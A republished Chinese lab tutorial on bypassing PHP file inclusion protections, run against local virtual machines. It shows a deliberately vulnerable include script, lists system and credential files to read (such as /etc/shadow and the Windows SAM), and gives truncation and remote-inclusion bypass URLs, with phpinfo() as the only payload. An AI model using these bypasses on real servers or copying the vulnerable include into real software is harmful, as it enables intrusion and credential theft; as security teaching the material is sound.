IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【文件包含漏洞】——文件包含漏洞进阶_文件包含漏洞绕过 -> 正文阅读

[PHP知识库]【文件包含漏洞】——文件包含漏洞进阶_文件包含漏洞绕过

一、实验目的:

1、通过本次学习掌握文件包含漏洞的绕过原理。
2、通过搭建漏洞环境,学习绕过技巧。

二、工具:

火狐/谷歌浏览器
burpsuite

三、实验环境:

靶???机: windows10虚拟机:192.168.100.150
????????phpstudy2018_Apache集成环境

远端服务器: windows10虚拟机:192.168.100.151(相当于攻击者的公网服务器)

攻?击?机: windows10物理机

四、环境准备:

1.?营造环境:

1、在靶机主目录下创建一个test_include目录


2、在靶机 test_include目录下创建一个index.php的文件:
代码内容:

<?php 
if(isset($_GET['page'])){
  include$_GET['page'].".php";
}else{
include'home.php'; 
}
?>

3、在test_include目录下创建一个home.php
代码内容:

<?php phpinfo();?>

4、在test_include目录下创建一个test.php:
代码内容:

<?php
echo "hello world";
?>

5、测试代码执行:
直接访问目录,可以看出它是包含了home.php文件的:

传输一个test,可以看到它已经包含了test.php
注:当我们使用GET方式传递一个文件名时,它会把后缀.php拼接上,如果存在这个文件,就成功包含,这样就显示文件内容了。


通过上面测试,说明代码可以正常执行,环境营造完成。

2.?设置phpstudy环境:

切换php版本

关闭magic_quotes_gpc函数,并重启phpstudy

五、实验过程:

1.?本地文件包含:

常见的敏感信息路径:
Windows系统:

c:\boot.ini                                   // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml      // IIS配置文件
c:\windows\repair\sam                         // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini                  // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD     // MySQL root密码
c:\windows\php.ini                            // php 配置信息

Linux/Unix系统:

/etc/passwd                                         // 账户信息
/etc/shadow                                         // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf              // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf  // 虚拟网站配置
/usr/local/app/php5/lib/php.ini                     // PHP相关配置
/etc/httpd/conf/httpd.conf                          // Apache配置文件
/etc/my.conf                                        // mysql 配置文件

1.1?%00截断绕过:

1.1.1?原理:

验证源码:

<?php 
if(isset($_GET['page'])){       //判断通过GET方式有没有获取到这个文件;
  include$_GET['page'].".php";  //通过page传递这个文件的名字,不包括文件后缀名;如果传递一个test,代码拼接.php,如果当前目录下存在test.php,就包含test.php;
}else{
include'home.php';              //否则就包含home.php
}
?>

校验过程:判断是否获取到这个文件-->通过GET方式传递一个文件名,并在文件名后面拼接.php后缀-->如果当前目录下有这个文件,就包含这个文件-->否则就包含home.php
注:
??在低版本php读取文件名时认为%00终止符,对于%00后面的内容就会失效。
??通过上面源码我们知道,通过GET方式传递的这个文件名是我们可以进行控制的,在这里我们可以通过%00截断后面拼接的内容,让后面拼接的内容失效。

1.1.2?实验步骤:

1、制作一个图片马放到test_include目录下,这里的内容不是一句话木马,是phpinfo();代码:
内容:

<?php phpinfo();?>


2、对1.png进行包含,报错没有这个文件:


3、包含1.png,使用burpsuite对这个文件进行抓包:


4、在1.png后面加上%00,进行00截断,可以看出,成功解析图片马:

1.2?路径长度截断:

1.2.1?原理:

Windows目录最大长度256字节,超出的部分会被丢弃;
Linux目录最大长度4096字节,超出的部分会被丢弃。

1.2.2?实验步骤:

利用方法:

http://192.168.100.150/test_include/index.php?page=1.png/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././/./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././

1、包含1.png,使用burpsuite对这个文件进行抓包:


2、使用长路进行截断,使后面拼接的内容失效,可以看出,成功解析图片马:

1.3?点号截断:

1.3.1?原理:

windows系统 点号 长于 256,超出的部分会被丢弃;
linux系统 点号 长于 4096,超出的部分会被丢弃;;

1.3.2?实验步骤:

利用方法:

http://192.168.100.150/test_include/index.php?page=1.png.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

1、包含1.png,使用burpsuite对这个文件进行抓包:

2、由于当前是windows环境,使用长于256个点号进行截断,使后面拼接的内容失效,可以看出,成功解析图片马:

1.4?双写绕过:

??如果在文件包含是,服务器对我们传入的参数是通过函数把关键字符替换为空的情况下,我们可以通过对关键字符进行双写进行绕过。
请参考文章

1.5?大小写混合绕过:

如果在文件包含是,服务器对我们传入的参数没有进行严格过滤,比如没没有对大小写进行过滤,我们可以使用大小写混合进行绕过。
请参考文章

1.6?伪协议绕过:

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数。 除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。
伪协议绕过详情点我!

2.?远程文件包含:

??PHP的配置文件allow_url_fopenallow_url_include设置为ONinclude/require等包含函数可以加载远程文件,如果远程文件没经过严格的过滤,导致了执行恶意文件的代码,这就是远程文件包含漏洞。

allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)

2.1?问号绕过:

1、在我们远端服务器网站主目录创建一个1.txt文件:
内容:

<?php phpinfo();?>

2、远程包含我们远端服务器的1.txt文件,可以看出,靶机把1.txt后面拼接了.php后缀:

3、远程包含远端服务器的1.txt,在1.txt后面添加一个,可以看出靶机成功解析远端服务器的1.txtphp脚本文件:

2.2?#号绕过:

注:这里需要对#进行url编码,#的url编码%23

2.3?%00截断绕过:

2.4?其他绕过方式:

一些常见的特殊字符:

使用burpsuit对一些特殊字符跑一遍,看哪些字符可以:

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-07 11:46:44  更:2021-08-07 11:46:53 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年4日历 -2024/4/27 23:41:41-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码